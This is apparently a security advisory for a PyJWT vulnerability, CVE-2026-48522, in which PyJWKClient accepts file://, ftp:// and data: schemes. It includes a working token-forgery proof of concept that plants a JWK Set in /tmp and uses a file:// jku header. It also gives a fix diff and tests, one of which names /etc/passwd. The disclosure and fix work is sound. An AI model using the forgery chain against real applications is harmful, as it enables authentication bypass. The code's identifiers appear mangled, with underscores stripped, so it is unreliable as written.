CVE-2026-48522: PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes

> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time

Attacker generates keypair (no relation to real IdP) key = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pubn = key.publickey().publicnumbers().n

def b64u(n): bl = (n.bitlength() + 7) // 8 return base64.urlsafeb64encode(n.tobytes(bl, 'big')).rstrip(b'=').decode()

Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pubn),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f)

Attacker mints token signed with their private key, jku=file:// privpem = key.privatebytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, privpem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

Vulnerable application pattern: caller derives jku from token header and passes to PyJWKClient without scheme validation header = pyjwt.getunverifiedheader(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently keyobj = client.getsigningkeyfromjwt(token) decoded = pyjwt.decode(token, keyobj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

| Library | Behavior on jku=file://... | Mechanism | |---|---|---| | PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowedschemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.init. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwksclient.py

python def init( self, uri: str, cachekeys: bool = False, maxcachedkeys: int = 16, cachejwkset: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, sslcontext: SSLContext | None = None, allowedschemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowedschemes: URL schemes the JWKS endpoint is permitted to use. Default ("https", "http"). Pass ("https",) for HTTPS-only operation. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted. """ # ... existing init code ... self.allowedschemes = allowedschemes self.validateurischeme()

def validateurischeme(self) -> None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowedschemes!r}") if scheme not in self.allowedschemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowedschemes " f"{self.allowedschemes!r}; refusing to fetch from this URL")

Tests to add

python def testpyjwkclientrejectsfilescheme(): with pytest.raises(PyJWKClientError, match="not in allowedschemes"): PyJWKClient("file:///etc/passwd")

def testpyjwkclientrejectsftpscheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json")

def testpyjwkclientrejectsdatascheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}')

def testpyjwkclientcallercanlocktohttpsonly(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowedschemes=("https",))

Compatibility

- Default allowedschemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) - No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling - No existing GitHub issue or PR addressing scheme allowlisting - No silent fix in CHANGELOG through 2.12.1 - 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.